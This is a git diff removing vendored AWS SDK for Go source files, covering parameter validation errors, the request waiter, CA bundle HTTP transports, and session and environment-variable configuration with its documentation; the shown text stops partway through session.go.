-func (e *errInvalidParam) Field() string { - field := e.context - if len(field) > 0 { - field += "." - } - if len(e.nestedContext) > 0 { - field += fmt.Sprintf("%s.", e.nestedContext) - } - field += e.field - - return field -} - -// SetContext updates the base context of the error. -func (e *errInvalidParam) SetContext(ctx string) { - e.context = ctx -} - -// AddNestedContext prepends a context to the field's path. -func (e *errInvalidParam) AddNestedContext(ctx string) { - if len(e.nestedContext) == 0 { - e.nestedContext = ctx - } else { - e.nestedContext = fmt.Sprintf("%s.%s", ctx, e.nestedContext) - } - -} - -// An ErrParamRequired represents an required parameter error. -type ErrParamRequired struct { - errInvalidParam -} - -// NewErrParamRequired creates a new required parameter error. -func NewErrParamRequired(field string) *ErrParamRequired { - return &ErrParamRequired{ - errInvalidParam{ - code: ParamRequiredErrCode, - field: field, - msg: fmt.Sprintf("missing required field"), - }, - } -} - -// An ErrParamMinValue represents a minimum value parameter error. -type ErrParamMinValue struct { - errInvalidParam - min float64 -} - -// NewErrParamMinValue creates a new minimum value parameter error. -func NewErrParamMinValue(field string, min float64) *ErrParamMinValue { - return &ErrParamMinValue{ - errInvalidParam: errInvalidParam{ - code: ParamMinValueErrCode, - field: field, - msg: fmt.Sprintf("minimum field value of %v", min), - }, - min: min, - } -} - -// MinValue returns the field's require minimum value. -// -// float64 is returned for both int and float min values. -func (e *ErrParamMinValue) MinValue() float64 { - return e.min -} - -// An ErrParamMinLen represents a minimum length parameter error. -type ErrParamMinLen struct { - errInvalidParam - min int -} - -// NewErrParamMinLen creates a new minimum length parameter error. -func NewErrParamMinLen(field string, min int) *ErrParamMinLen { - return &ErrParamMinLen{ - errInvalidParam: errInvalidParam{ - code: ParamMinLenErrCode, - field: field, - msg: fmt.Sprintf("minimum field size of %v", min), - }, - min: min, - } -} - -// MinLen returns the field's required minimum length. -func (e *ErrParamMinLen) MinLen() int { - return e.min -} - -// An ErrParamMaxLen represents a maximum length parameter error. -type ErrParamMaxLen struct { - errInvalidParam - max int -} - -// NewErrParamMaxLen creates a new maximum length parameter error. -func NewErrParamMaxLen(field string, max int, value string) *ErrParamMaxLen { - return &ErrParamMaxLen{ - errInvalidParam: errInvalidParam{ - code: ParamMaxLenErrCode, - field: field, - msg: fmt.Sprintf("maximum size of %v, %v", max, value), - }, - max: max, - } -} - -// MaxLen returns the field's required minimum length. -func (e *ErrParamMaxLen) MaxLen() int { - return e.max -} - -// An ErrParamFormat represents a invalid format parameter error. -type ErrParamFormat struct { - errInvalidParam - format string -} - -// NewErrParamFormat creates a new invalid format parameter error. -func NewErrParamFormat(field string, format, value string) *ErrParamFormat { - return &ErrParamFormat{ - errInvalidParam: errInvalidParam{ - code: ParamFormatErrCode, - field: field, - msg: fmt.Sprintf("format %v, %v", format, value), - }, - format: format, - } -} - -// Format returns the field's required format. -func (e *ErrParamFormat) Format() string { - return e.format -} diff --git a/vendor/github.com/aws/aws-sdk-go/aws/request/waiter.go b/vendor/github.com/aws/aws-sdk-go/aws/request/waiter.go deleted file mode 100644 index 4601f883cc..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/aws/request/waiter.go +++ /dev/null @@ -1,295 +0,0 @@ -package request - -import ( - "fmt" - "time" - - "github.com/aws/aws-sdk-go/aws" - "github.com/aws/aws-sdk-go/aws/awserr" - "github.com/aws/aws-sdk-go/aws/awsutil" -) - -// WaiterResourceNotReadyErrorCode is the error code returned by a waiter when -// the waiter's max attempts have been exhausted. -const WaiterResourceNotReadyErrorCode = "ResourceNotReady" - -// A WaiterOption is a function that will update the Waiter value's fields to -// configure the waiter. -type WaiterOption func(*Waiter) - -// WithWaiterMaxAttempts returns the maximum number of times the waiter should -// attempt to check the resource for the target state. -func WithWaiterMaxAttempts(max int) WaiterOption { - return func(w *Waiter) { - w.MaxAttempts = max - } -} - -// WaiterDelay will return a delay the waiter should pause between attempts to -// check the resource state. The passed in attempt is the number of times the -// Waiter has checked the resource state. -// -// Attempt is the number of attempts the Waiter has made checking the resource -// state. -type WaiterDelay func(attempt int) time.Duration - -// ConstantWaiterDelay returns a WaiterDelay that will always return a constant -// delay the waiter should use between attempts. It ignores the number of -// attempts made. -func ConstantWaiterDelay(delay time.Duration) WaiterDelay { - return func(attempt int) time.Duration { - return delay - } -} - -// WithWaiterDelay will set the Waiter to use the WaiterDelay passed in. -func WithWaiterDelay(delayer WaiterDelay) WaiterOption { - return func(w *Waiter) { - w.Delay = delayer - } -} - -// WithWaiterLogger returns a waiter option to set the logger a waiter -// should use to log warnings and errors to. -func WithWaiterLogger(logger aws.Logger) WaiterOption { - return func(w *Waiter) { - w.Logger = logger - } -} - -// WithWaiterRequestOptions returns a waiter option setting the request -// options for each request the waiter makes. Appends to waiter's request -// options already set. -func WithWaiterRequestOptions(opts ...Option) WaiterOption { - return func(w *Waiter) { - w.RequestOptions = append(w.RequestOptions, opts...) - } -} - -// A Waiter provides the functionality to perform a blocking call which will -// wait for a resource state to be satisfied by a service. -// -// This type should not be used directly. The API operations provided in the -// service packages prefixed with "WaitUntil" should be used instead. -type Waiter struct { - Name string - Acceptors []WaiterAcceptor - Logger aws.Logger - - MaxAttempts int - Delay WaiterDelay - - RequestOptions []Option - NewRequest func([]Option) (*Request, error) - SleepWithContext func(aws.Context, time.Duration) error -} - -// ApplyOptions updates the waiter with the list of waiter options provided. -func (w *Waiter) ApplyOptions(opts ...WaiterOption) { - for _, fn := range opts { - fn(w) - } -} - -// WaiterState are states the waiter uses based on WaiterAcceptor definitions -// to identify if the resource state the waiter is waiting on has occurred. -type WaiterState int - -// String returns the string representation of the waiter state. -func (s WaiterState) String() string { - switch s { - case SuccessWaiterState: - return "success" - case FailureWaiterState: - return "failure" - case RetryWaiterState: - return "retry" - default: - return "unknown waiter state" - } -} - -// States the waiter acceptors will use to identify target resource states. -const ( - SuccessWaiterState WaiterState = iota // waiter successful - FailureWaiterState // waiter failed - RetryWaiterState // waiter needs to be retried -) - -// WaiterMatchMode is the mode that the waiter will use to match the WaiterAcceptor -// definition's Expected attribute. -type WaiterMatchMode int - -// Modes the waiter will use when inspecting API response to identify target -// resource states. -const ( - PathAllWaiterMatch WaiterMatchMode = iota // match on all paths - PathWaiterMatch // match on specific path - PathAnyWaiterMatch // match on any path - PathListWaiterMatch // match on list of paths - StatusWaiterMatch // match on status code - ErrorWaiterMatch // match on error -) - -// String returns the string representation of the waiter match mode. -func (m WaiterMatchMode) String() string { - switch m { - case PathAllWaiterMatch: - return "pathAll" - case PathWaiterMatch: - return "path" - case PathAnyWaiterMatch: - return "pathAny" - case PathListWaiterMatch: - return "pathList" - case StatusWaiterMatch: - return "status" - case ErrorWaiterMatch: - return "error" - default: - return "unknown waiter match mode" - } -} - -// WaitWithContext will make requests for the API operation using NewRequest to -// build API requests. The request's response will be compared against the -// Waiter's Acceptors to determine the successful state of the resource the -// waiter is inspecting. -// -// The passed in context must not be nil. If it is nil a panic will occur. The -// Context will be used to cancel the waiter's pending requests and retry delays. -// Use aws.BackgroundContext if no context is available. -// -// The waiter will continue until the target state defined by the Acceptors, -// or the max attempts expires. -// -// Will return the WaiterResourceNotReadyErrorCode error code if the waiter's -// retryer ShouldRetry returns false. This normally will happen when the max -// wait attempts expires. -func (w Waiter) WaitWithContext(ctx aws.Context) error { - - for attempt := 1; ; attempt++ { - req, err := w.NewRequest(w.RequestOptions) - if err != nil { - waiterLogf(w.Logger, "unable to create request %v", err) - return err - } - req.Handlers.Build.PushBack(MakeAddToUserAgentFreeFormHandler("Waiter")) - err = req.Send() - - // See if any of the acceptors match the request's response, or error - for _, a := range w.Acceptors { - if matched, matchErr := a.match(w.Name, w.Logger, req, err); matched { - return matchErr - } - } - - // The Waiter should only check the resource state MaxAttempts times - // This is here instead of in the for loop above to prevent delaying - // unnecessary when the waiter will not retry. - if attempt == w.MaxAttempts { - break - } - - // Delay to wait before inspecting the resource again - delay := w.Delay(attempt) - if sleepFn := req.Config.SleepDelay; sleepFn != nil { - // Support SleepDelay for backwards compatibility and testing - sleepFn(delay) - } else { - sleepCtxFn := w.SleepWithContext - if sleepCtxFn == nil { - sleepCtxFn = aws.SleepWithContext - } - - if err := sleepCtxFn(ctx, delay); err != nil { - return awserr.New(CanceledErrorCode, "waiter context canceled", err) - } - } - } - - return awserr.New(WaiterResourceNotReadyErrorCode, "exceeded wait attempts", nil) -} - -// A WaiterAcceptor provides the information needed to wait for an API operation -// to complete. -type WaiterAcceptor struct { - State WaiterState - Matcher WaiterMatchMode - Argument string - Expected interface{} -} - -// match returns if the acceptor found a match with the passed in request -// or error. True is returned if the acceptor made a match, error is returned -// if there was an error attempting to perform the match. -func (a *WaiterAcceptor) match(name string, l aws.Logger, req *Request, err error) (bool, error) { - result := false - var vals []interface{} - - switch a.Matcher { - case PathAllWaiterMatch, PathWaiterMatch: - // Require all matches to be equal for result to match - vals, _ = awsutil.ValuesAtPath(req.Data, a.Argument) - if len(vals) == 0 { - break - } - result = true - for _, val := range vals { - if !awsutil.DeepEqual(val, a.Expected) { - result = false - break - } - } - case PathAnyWaiterMatch: - // Only a single match needs to equal for the result to match - vals, _ = awsutil.ValuesAtPath(req.Data, a.Argument) - for _, val := range vals { - if awsutil.DeepEqual(val, a.Expected) { - result = true - break - } - } - case PathListWaiterMatch: - // ignored matcher - case StatusWaiterMatch: - s := a.Expected.(int) - result = s == req.HTTPResponse.StatusCode - case ErrorWaiterMatch: - if aerr, ok := err.(awserr.Error); ok { - result = aerr.Code() == a.Expected.(string) - } - default: - waiterLogf(l, "WARNING: Waiter %s encountered unexpected matcher: %s", - name, a.Matcher) - } - - if !result { - // If there was no matching result found there is nothing more to do - // for this response, retry the request. - return false, nil - } - - switch a.State { - case SuccessWaiterState: - // waiter completed - return true, nil - case FailureWaiterState: - // Waiter failure state triggered - return true, awserr.New(WaiterResourceNotReadyErrorCode, - "failed waiting for successful resource state", err) - case RetryWaiterState: - // clear the error and retry the operation - return false, nil - default: - waiterLogf(l, "WARNING: Waiter %s encountered unexpected state: %s", - name, a.State) - return false, nil - } -} - -func waiterLogf(logger aws.Logger, msg string, args ...interface{}) { - if logger != nil { - logger.Log(fmt.Sprintf(msg, args...)) - } -} diff --git a/vendor/github.com/aws/aws-sdk-go/aws/session/cabundle_transport.go b/vendor/github.com/aws/aws-sdk-go/aws/session/cabundle_transport.go deleted file mode 100644 index ea9ebb6f6a..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/aws/session/cabundle_transport.go +++ /dev/null @@ -1,26 +0,0 @@ -// +build go1.7 - -package session - -import ( - "net" - "net/http" - "time" -) - -// Transport that should be used when a custom CA bundle is specified with the -// SDK. -func getCABundleTransport() *http.Transport { - return &http.Transport{ - Proxy: http.ProxyFromEnvironment, - DialContext: (&net.Dialer{ - Timeout: 30 * time.Second, - KeepAlive: 30 * time.Second, - DualStack: true, - }).DialContext, - MaxIdleConns: 100, - IdleConnTimeout: 90 * time.Second, - TLSHandshakeTimeout: 10 * time.Second, - ExpectContinueTimeout: 1 * time.Second, - } -} diff --git a/vendor/github.com/aws/aws-sdk-go/aws/session/cabundle_transport_1_5.go b/vendor/github.com/aws/aws-sdk-go/aws/session/cabundle_transport_1_5.go deleted file mode 100644 index fec39dfc12..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/aws/session/cabundle_transport_1_5.go +++ /dev/null @@ -1,22 +0,0 @@ -// +build !go1.6,go1.5 - -package session - -import ( - "net" - "net/http" - "time" -) - -// Transport that should be used when a custom CA bundle is specified with the -// SDK. -func getCABundleTransport() *http.Transport { - return &http.Transport{ - Proxy: http.ProxyFromEnvironment, - Dial: (&net.Dialer{ - Timeout: 30 * time.Second, - KeepAlive: 30 * time.Second, - }).Dial, - TLSHandshakeTimeout: 10 * time.Second, - } -} diff --git a/vendor/github.com/aws/aws-sdk-go/aws/session/cabundle_transport_1_6.go b/vendor/github.com/aws/aws-sdk-go/aws/session/cabundle_transport_1_6.go deleted file mode 100644 index 1c5a5391e6..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/aws/session/cabundle_transport_1_6.go +++ /dev/null @@ -1,23 +0,0 @@ -// +build !go1.7,go1.6 - -package session - -import ( - "net" - "net/http" - "time" -) - -// Transport that should be used when a custom CA bundle is specified with the -// SDK. -func getCABundleTransport() *http.Transport { - return &http.Transport{ - Proxy: http.ProxyFromEnvironment, - Dial: (&net.Dialer{ - Timeout: 30 * time.Second, - KeepAlive: 30 * time.Second, - }).Dial, - TLSHandshakeTimeout: 10 * time.Second, - ExpectContinueTimeout: 1 * time.Second, - } -} diff --git a/vendor/github.com/aws/aws-sdk-go/aws/session/doc.go b/vendor/github.com/aws/aws-sdk-go/aws/session/doc.go deleted file mode 100644 index 38a7b05a62..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/aws/session/doc.go +++ /dev/null @@ -1,273 +0,0 @@ -/* -Package session provides configuration for the SDK's service clients. - -Sessions can be shared across all service clients that share the same base -configuration. The Session is built from the SDK's default configuration and -request handlers. - -Sessions should be cached when possible, because creating a new Session will -load all configuration values from the environment, and config files each time -the Session is created. Sharing the Session value across all of your service -clients will ensure the configuration is loaded the fewest number of times possible. - -Concurrency - -Sessions are safe to use concurrently as long as the Session is not being -modified. The SDK will not modify the Session once the Session has been created. -Creating service clients concurrently from a shared Session is safe. - -Sessions from Shared Config - -Sessions can be created using the method above that will only load the -additional config if the AWS_SDK_LOAD_CONFIG environment variable is set. -Alternatively you can explicitly create a Session with shared config enabled. -To do this you can use NewSessionWithOptions to configure how the Session will -be created. Using the NewSessionWithOptions with SharedConfigState set to -SharedConfigEnable will create the session as if the AWS_SDK_LOAD_CONFIG -environment variable was set. - -Creating Sessions - -When creating Sessions optional aws.Config values can be passed in that will -override the default, or loaded config values the Session is being created -with. This allows you to provide additional, or case based, configuration -as needed. - -By default NewSession will only load credentials from the shared credentials -file (~/.aws/credentials). If the AWS_SDK_LOAD_CONFIG environment variable is -set to a truthy value the Session will be created from the configuration -values from the shared config (~/.aws/config) and shared credentials -(~/.aws/credentials) files. See the section Sessions from Shared Config for -more information. - -Create a Session with the default config and request handlers. With credentials -region, and profile loaded from the environment and shared config automatically. -Requires the AWS_PROFILE to be set, or "default" is used. - - // Create Session - sess := session.Must(session.NewSession()) - - // Create a Session with a custom region - sess := session.Must(session.NewSession(&aws.Config{ - Region: aws.String("us-east-1"), - })) - - // Create a S3 client instance from a session - sess := session.Must(session.NewSession()) - - svc := s3.New(sess) - -Create Session With Option Overrides - -In addition to NewSession, Sessions can be created using NewSessionWithOptions. -This func allows you to control and override how the Session will be created -through code instead of being driven by environment variables only. - -Use NewSessionWithOptions when you want to provide the config profile, or -override the shared config state (AWS_SDK_LOAD_CONFIG). - - // Equivalent to session.NewSession() - sess := session.Must(session.NewSessionWithOptions(session.Options{ - // Options - })) - - // Specify profile to load for the session's config - sess := session.Must(session.NewSessionWithOptions(session.Options{ - Profile: "profile_name", - })) - - // Specify profile for config and region for requests - sess := session.Must(session.NewSessionWithOptions(session.Options{ - Config: aws.Config{Region: aws.String("us-east-1")}, - Profile: "profile_name", - })) - - // Force enable Shared Config support - sess := session.Must(session.NewSessionWithOptions(session.Options{ - SharedConfigState: session.SharedConfigEnable, - })) - -Adding Handlers - -You can add handlers to a session for processing HTTP requests. All service -clients that use the session inherit the handlers. For example, the following -handler logs every request and its payload made by a service client: - - // Create a session, and add additional handlers for all service - // clients created with the Session to inherit. Adds logging handler. - sess := session.Must(session.NewSession()) - - sess.Handlers.Send.PushFront(func(r *request.Request) { - // Log every request made and its payload - logger.Printf("Request: %s/%s, Payload: %s", - r.ClientInfo.ServiceName, r.Operation, r.Params) - }) - -Deprecated "New" function - -The New session function has been deprecated because it does not provide good -way to return errors that occur when loading the configuration files and values. -Because of this, NewSession was created so errors can be retrieved when -creating a session fails. - -Shared Config Fields - -By default the SDK will only load the shared credentials file's (~/.aws/credentials) -credentials values, and all other config is provided by the environment variables, -SDK defaults, and user provided aws.Config values. - -If the AWS_SDK_LOAD_CONFIG environment variable is set, or SharedConfigEnable -option is used to create the Session the full shared config values will be -loaded. This includes credentials, region, and support for assume role. In -addition the Session will load its configuration from both the shared config -file (~/.aws/config) and shared credentials file (~/.aws/credentials). Both -files have the same format. - -If both config files are present the configuration from both files will be -read. The Session will be created from configuration values from the shared -credentials file (~/.aws/credentials) over those in the shared config file (~/.aws/config). - -Credentials are the values the SDK should use for authenticating requests with -AWS Services. They are from a configuration file will need to include both -aws_access_key_id and aws_secret_access_key must be provided together in the -same file to be considered valid. The values will be ignored if not a complete -group. aws_session_token is an optional field that can be provided if both of -the other two fields are also provided. - - aws_access_key_id = AKID - aws_secret_access_key = SECRET - aws_session_token = TOKEN - -Assume Role values allow you to configure the SDK to assume an IAM role using -a set of credentials provided in a config file via the source_profile field. -Both "role_arn" and "source_profile" are required. The SDK supports assuming -a role with MFA token if the session option AssumeRoleTokenProvider -is set. - - role_arn = arn:aws:iam:::role/ - source_profile = profile_with_creds - external_id = 1234 - mfa_serial = - role_session_name = session_name - -Region is the region the SDK should use for looking up AWS service endpoints -and signing requests. - - region = us-east-1 - -Assume Role with MFA token - -To create a session with support for assuming an IAM role with MFA set the -session option AssumeRoleTokenProvider to a function that will prompt for the -MFA token code when the SDK assumes the role and refreshes the role's credentials. -This allows you to configure the SDK via the shared config to assumea role -with MFA tokens. - -In order for the SDK to assume a role with MFA the SharedConfigState -session option must be set to SharedConfigEnable, or AWS_SDK_LOAD_CONFIG -environment variable set. - -The shared configuration instructs the SDK to assume an IAM role with MFA -when the mfa_serial configuration field is set in the shared config -(~/.aws/config) or shared credentials (~/.aws/credentials) file. - -If mfa_serial is set in the configuration, the SDK will assume the role, and -the AssumeRoleTokenProvider session option is not set an an error will -be returned when creating the session. - - sess := session.Must(session.NewSessionWithOptions(session.Options{ - AssumeRoleTokenProvider: stscreds.StdinTokenProvider, - })) - - // Create service client value configured for credentials - // from assumed role. - svc := s3.New(sess) - -To setup assume role outside of a session see the stscreds.AssumeRoleProvider -documentation. - -Environment Variables - -When a Session is created several environment variables can be set to adjust -how the SDK functions, and what configuration data it loads when creating -Sessions. All environment values are optional, but some values like credentials -require multiple of the values to set or the partial values will be ignored. -All environment variable values are strings unless otherwise noted. - -Environment configuration values. If set both Access Key ID and Secret Access -Key must be provided. Session Token and optionally also be provided, but is -not required. - - # Access Key ID - AWS_ACCESS_KEY_ID=AKID - AWS_ACCESS_KEY=AKID # only read if AWS_ACCESS_KEY_ID is not set. - - # Secret Access Key - AWS_SECRET_ACCESS_KEY=SECRET - AWS_SECRET_KEY=SECRET=SECRET # only read if AWS_SECRET_ACCESS_KEY is not set. - - # Session Token - AWS_SESSION_TOKEN=TOKEN - -Region value will instruct the SDK where to make service API requests to. If is -not provided in the environment the region must be provided before a service -client request is made. - - AWS_REGION=us-east-1 - - # AWS_DEFAULT_REGION is only read if AWS_SDK_LOAD_CONFIG is also set, - # and AWS_REGION is not also set. - AWS_DEFAULT_REGION=us-east-1 - -Profile name the SDK should load use when loading shared config from the -configuration files. If not provided "default" will be used as the profile name. - - AWS_PROFILE=my_profile - - # AWS_DEFAULT_PROFILE is only read if AWS_SDK_LOAD_CONFIG is also set, - # and AWS_PROFILE is not also set. - AWS_DEFAULT_PROFILE=my_profile - -SDK load config instructs the SDK to load the shared config in addition to -shared credentials. This also expands the configuration loaded so the shared -credentials will have parity with the shared config file. This also enables -Region and Profile support for the AWS_DEFAULT_REGION and AWS_DEFAULT_PROFILE -env values as well. - - AWS_SDK_LOAD_CONFIG=1 - -Shared credentials file path can be set to instruct the SDK to use an alternative -file for the shared credentials. If not set the file will be loaded from -$HOME/.aws/credentials on Linux/Unix based systems, and -%USERPROFILE%\.aws\credentials on Windows. - - AWS_SHARED_CREDENTIALS_FILE=$HOME/my_shared_credentials - -Shared config file path can be set to instruct the SDK to use an alternative -file for the shared config. If not set the file will be loaded from -$HOME/.aws/config on Linux/Unix based systems, and -%USERPROFILE%\.aws\config on Windows. - - AWS_CONFIG_FILE=$HOME/my_shared_config - -Path to a custom Credentials Authority (CA) bundle PEM file that the SDK -will use instead of the default system's root CA bundle. Use this only -if you want to replace the CA bundle the SDK uses for TLS requests. - - AWS_CA_BUNDLE=$HOME/my_custom_ca_bundle - -Enabling this option will attempt to merge the Transport into the SDK's HTTP -client. If the client's Transport is not a http.Transport an error will be -returned. If the Transport's TLS config is set this option will cause the SDK -to overwrite the Transport's TLS config's RootCAs value. If the CA bundle file -contains multiple certificates all of them will be loaded. - -The Session option CustomCABundle is also available when creating sessions -to also enable this feature. CustomCABundle session option field has priority -over the AWS_CA_BUNDLE environment variable, and will be used if both are set. - -Setting a custom HTTPClient in the aws.Config options will override this setting. -To use this option and custom HTTP client, the HTTP client needs to be provided -when creating the session. Not the service client. -*/ -package session diff --git a/vendor/github.com/aws/aws-sdk-go/aws/session/env_config.go b/vendor/github.com/aws/aws-sdk-go/aws/session/env_config.go deleted file mode 100644 index e3959b959e..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/aws/session/env_config.go +++ /dev/null @@ -1,236 +0,0 @@ -package session - -import ( - "os" - "strconv" - - "github.com/aws/aws-sdk-go/aws" - "github.com/aws/aws-sdk-go/aws/credentials" - "github.com/aws/aws-sdk-go/aws/defaults" -) - -// EnvProviderName provides a name of the provider when config is loaded from environment. -const EnvProviderName = "EnvConfigCredentials" - -// envConfig is a collection of environment values the SDK will read -// setup config from. All environment values are optional. But some values -// such as credentials require multiple values to be complete or the values -// will be ignored. -type envConfig struct { - // Environment configuration values. If set both Access Key ID and Secret Access - // Key must be provided. Session Token and optionally also be provided, but is - // not required. - // - // # Access Key ID - // AWS_ACCESS_KEY_ID=AKID - // AWS_ACCESS_KEY=AKID # only read if AWS_ACCESS_KEY_ID is not set. - // - // # Secret Access Key - // AWS_SECRET_ACCESS_KEY=SECRET - // AWS_SECRET_KEY=SECRET=SECRET # only read if AWS_SECRET_ACCESS_KEY is not set. - // - // # Session Token - // AWS_SESSION_TOKEN=TOKEN - Creds credentials.Value - - // Region value will instruct the SDK where to make service API requests to. If is - // not provided in the environment the region must be provided before a service - // client request is made. - // - // AWS_REGION=us-east-1 - // - // # AWS_DEFAULT_REGION is only read if AWS_SDK_LOAD_CONFIG is also set, - // # and AWS_REGION is not also set. - // AWS_DEFAULT_REGION=us-east-1 - Region string - - // Profile name the SDK should load use when loading shared configuration from the - // shared configuration files. If not provided "default" will be used as the - // profile name. - // - // AWS_PROFILE=my_profile - // - // # AWS_DEFAULT_PROFILE is only read if AWS_SDK_LOAD_CONFIG is also set, - // # and AWS_PROFILE is not also set. - // AWS_DEFAULT_PROFILE=my_profile - Profile string - - // SDK load config instructs the SDK to load the shared config in addition to - // shared credentials. This also expands the configuration loaded from the shared - // credentials to have parity with the shared config file. This also enables - // Region and Profile support for the AWS_DEFAULT_REGION and AWS_DEFAULT_PROFILE - // env values as well. - // - // AWS_SDK_LOAD_CONFIG=1 - EnableSharedConfig bool - - // Shared credentials file path can be set to instruct the SDK to use an alternate - // file for the shared credentials. If not set the file will be loaded from - // $HOME/.aws/credentials on Linux/Unix based systems, and - // %USERPROFILE%\.aws\credentials on Windows. - // - // AWS_SHARED_CREDENTIALS_FILE=$HOME/my_shared_credentials - SharedCredentialsFile string - - // Shared config file path can be set to instruct the SDK to use an alternate - // file for the shared config. If not set the file will be loaded from - // $HOME/.aws/config on Linux/Unix based systems, and - // %USERPROFILE%\.aws\config on Windows. - // - // AWS_CONFIG_FILE=$HOME/my_shared_config - SharedConfigFile string - - // Sets the path to a custom Credentials Authority (CA) Bundle PEM file - // that the SDK will use instead of the system's root CA bundle. - // Only use this if you want to configure the SDK to use a custom set - // of CAs. - // - // Enabling this option will attempt to merge the Transport - // into the SDK's HTTP client. If the client's Transport is - // not a http.Transport an error will be returned. If the - // Transport's TLS config is set this option will cause the - // SDK to overwrite the Transport's TLS config's RootCAs value. - // - // Setting a custom HTTPClient in the aws.Config options will override this setting. - // To use this option and custom HTTP client, the HTTP client needs to be provided - // when creating the session. Not the service client. - // - // AWS_CA_BUNDLE=$HOME/my_custom_ca_bundle - CustomCABundle string - - csmEnabled string - CSMEnabled bool - CSMPort string - CSMClientID string - - enableEndpointDiscovery string - // Enables endpoint discovery via environment variables. - // - // AWS_ENABLE_ENDPOINT_DISCOVERY=true - EnableEndpointDiscovery *bool -} - -var ( - csmEnabledEnvKey = []string{ - "AWS_CSM_ENABLED", - } - csmPortEnvKey = []string{ - "AWS_CSM_PORT", - } - csmClientIDEnvKey = []string{ - "AWS_CSM_CLIENT_ID", - } - credAccessEnvKey = []string{ - "AWS_ACCESS_KEY_ID", - "AWS_ACCESS_KEY", - } - credSecretEnvKey = []string{ - "AWS_SECRET_ACCESS_KEY", - "AWS_SECRET_KEY", - } - credSessionEnvKey = []string{ - "AWS_SESSION_TOKEN", - } - - enableEndpointDiscoveryEnvKey = []string{ - "AWS_ENABLE_ENDPOINT_DISCOVERY", - } - - regionEnvKeys = []string{ - "AWS_REGION", - "AWS_DEFAULT_REGION", // Only read if AWS_SDK_LOAD_CONFIG is also set - } - profileEnvKeys = []string{ - "AWS_PROFILE", - "AWS_DEFAULT_PROFILE", // Only read if AWS_SDK_LOAD_CONFIG is also set - } - sharedCredsFileEnvKey = []string{ - "AWS_SHARED_CREDENTIALS_FILE", - } - sharedConfigFileEnvKey = []string{ - "AWS_CONFIG_FILE", - } -) - -// loadEnvConfig retrieves the SDK's environment configuration. -// See `envConfig` for the values that will be retrieved. -// -// If the environment variable `AWS_SDK_LOAD_CONFIG` is set to a truthy value -// the shared SDK config will be loaded in addition to the SDK's specific -// configuration values. -func loadEnvConfig() envConfig { - enableSharedConfig, _ := strconv.ParseBool(os.Getenv("AWS_SDK_LOAD_CONFIG")) - return envConfigLoad(enableSharedConfig) -} - -// loadEnvSharedConfig retrieves the SDK's environment configuration, and the -// SDK shared config. See `envConfig` for the values that will be retrieved. -// -// Loads the shared configuration in addition to the SDK's specific configuration. -// This will load the same values as `loadEnvConfig` if the `AWS_SDK_LOAD_CONFIG` -// environment variable is set. -func loadSharedEnvConfig() envConfig { - return envConfigLoad(true) -} - -func envConfigLoad(enableSharedConfig bool) envConfig { - cfg := envConfig{} - - cfg.EnableSharedConfig = enableSharedConfig - - setFromEnvVal(&cfg.Creds.AccessKeyID, credAccessEnvKey) - setFromEnvVal(&cfg.Creds.SecretAccessKey, credSecretEnvKey) - setFromEnvVal(&cfg.Creds.SessionToken, credSessionEnvKey) - - // CSM environment variables - setFromEnvVal(&cfg.csmEnabled, csmEnabledEnvKey) - setFromEnvVal(&cfg.CSMPort, csmPortEnvKey) - setFromEnvVal(&cfg.CSMClientID, csmClientIDEnvKey) - cfg.CSMEnabled = len(cfg.csmEnabled) > 0 - - // Require logical grouping of credentials - if len(cfg.Creds.AccessKeyID) == 0 || len(cfg.Creds.SecretAccessKey) == 0 { - cfg.Creds = credentials.Value{} - } else { - cfg.Creds.ProviderName = EnvProviderName - } - - regionKeys := regionEnvKeys - profileKeys := profileEnvKeys - if !cfg.EnableSharedConfig { - regionKeys = regionKeys[:1] - profileKeys = profileKeys[:1] - } - - setFromEnvVal(&cfg.Region, regionKeys) - setFromEnvVal(&cfg.Profile, profileKeys) - - // endpoint discovery is in reference to it being enabled. - setFromEnvVal(&cfg.enableEndpointDiscovery, enableEndpointDiscoveryEnvKey) - if len(cfg.enableEndpointDiscovery) > 0 { - cfg.EnableEndpointDiscovery = aws.Bool(cfg.enableEndpointDiscovery != "false") - } - - setFromEnvVal(&cfg.SharedCredentialsFile, sharedCredsFileEnvKey) - setFromEnvVal(&cfg.SharedConfigFile, sharedConfigFileEnvKey) - - if len(cfg.SharedCredentialsFile) == 0 { - cfg.SharedCredentialsFile = defaults.SharedCredentialsFilename() - } - if len(cfg.SharedConfigFile) == 0 { - cfg.SharedConfigFile = defaults.SharedConfigFilename() - } - - cfg.CustomCABundle = os.Getenv("AWS_CA_BUNDLE") - - return cfg -} - -func setFromEnvVal(dst *string, keys []string) { - for _, k := range keys { - if v := os.Getenv(k); len(v) > 0 { - *dst = v - break - } - } -} diff --git a/vendor/github.com/aws/aws-sdk-go/aws/session/session.go b/vendor/github.com/aws/aws-sdk-go/aws/session/session.go deleted file mode 100644 index be4b5f0777..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/aws/session/session.go +++ /dev/null @@ -1,719 +0,0 @@ -package session - -import ( - "crypto/tls" - "crypto/x509" - "fmt" - "io" - "io/ioutil" - "net/http" - "os" - - "github.com/aws/aws-sdk-go/aws" - "github.com/aws/aws-sdk-go/aws/awserr" - "github.com/aws/aws-sdk-go/aws/client" - "github.com/aws/aws-sdk-go/aws/corehandlers" - "github.com/aws/aws-sdk-go/aws/credentials" - "github.com/aws/aws-sdk-go/aws/credentials/processcreds" - "github.com/aws/aws-sdk-go/aws/credentials/stscreds" - "github.com/aws/aws-sdk-go/aws/csm" - "github.com/aws/aws-sdk-go/aws/defaults" - "github.com/aws/aws-sdk-go/aws/endpoints" - "github.com/aws/aws-sdk-go/aws/request" - "github.com/aws/aws-sdk-go/internal/shareddefaults" -) - -const ( - // ErrCodeSharedConfig represents an error that occurs in the shared - // configuration logic - ErrCodeSharedConfig = "SharedConfigErr" -) - -// ErrSharedConfigSourceCollision will be returned if a section contains both -// source_profile and credential_source -var ErrSharedConfigSourceCollision = awserr.New(ErrCodeSharedConfig, "only source profile or credential source can be specified, not both", nil) - -// ErrSharedConfigECSContainerEnvVarEmpty will be returned if the environment -// variables are empty and Environment was set as the credential source -var ErrSharedConfigECSContainerEnvVarEmpty = awserr.New(ErrCodeSharedConfig, "EcsContainer was specified as the credential_source, but 'AWS_CONTAINER_CREDENTIALS_RELATIVE_URI' was not set", nil) - -// ErrSharedConfigInvalidCredSource will be returned if an invalid credential source was 